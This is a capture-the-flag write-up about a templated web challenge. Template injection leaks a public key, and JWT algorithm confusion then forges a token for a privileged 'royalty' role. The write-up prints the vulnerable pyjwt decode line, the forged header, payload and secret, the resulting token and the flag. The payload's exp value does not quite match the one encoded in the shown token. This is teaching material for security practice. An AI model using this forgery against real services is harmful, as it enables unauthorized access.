Challenge

A templated site with a server-side template injection, gated behind a character whitelist that only allowed certain glyphs. The flag sat behind a JWT-protected role.

Approach

{{ }} injection worked. {{PUBLICKEY}} rendered, and the template exposed **globals(), so the template namespace was reachable. The catch was the whitelist: an underscore was not in it, so PRIVATE_KEY could not be named directly. What was reachable mattered:

  • {{PUBLICKEY}} leaks the verification key, an ssh-ed25519 public key.
  • {{KINGSDAY}} leaks the date string the token has to carry (CURRENT_DATE).

Verification was the weak point:

1
decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())

get_default_algorithms() returns every algorithm pyjwt knows, HMAC included. Passing the public key as the verification secret while allowing HS256 is the textbook asymmetric-to-symmetric key confusion: the server will accept a token that was HMAC-signed using the public key string as the shared secret. No access to the private key required.

Solution

Sign an HS256 token with the leaked public key as the HMAC secret, carrying the royalty role and the leaked date:

header:  {"typ":"JWT","alg":"HS256"}
payload: {"ROLE":"royalty","CURRENT_DATE":"03_07_1341_BC","exp":9633367558}
secret:  ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2

That produces a token the server verifies as genuine:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoicm95YWx0eSIsIkNVUlJFTlRfREFURSI6IjAzXzA3XzEzNDFfQkMiLCJleHAiOjk2MzMzNjc1NTg1fQ.aM6qtPMVnLGe_XK_zw76Qa56cnu6UH--Icc4XUP63NM

The flag name says exactly what the bug was.

Flag

csawctf{$$king$_confusion$$$}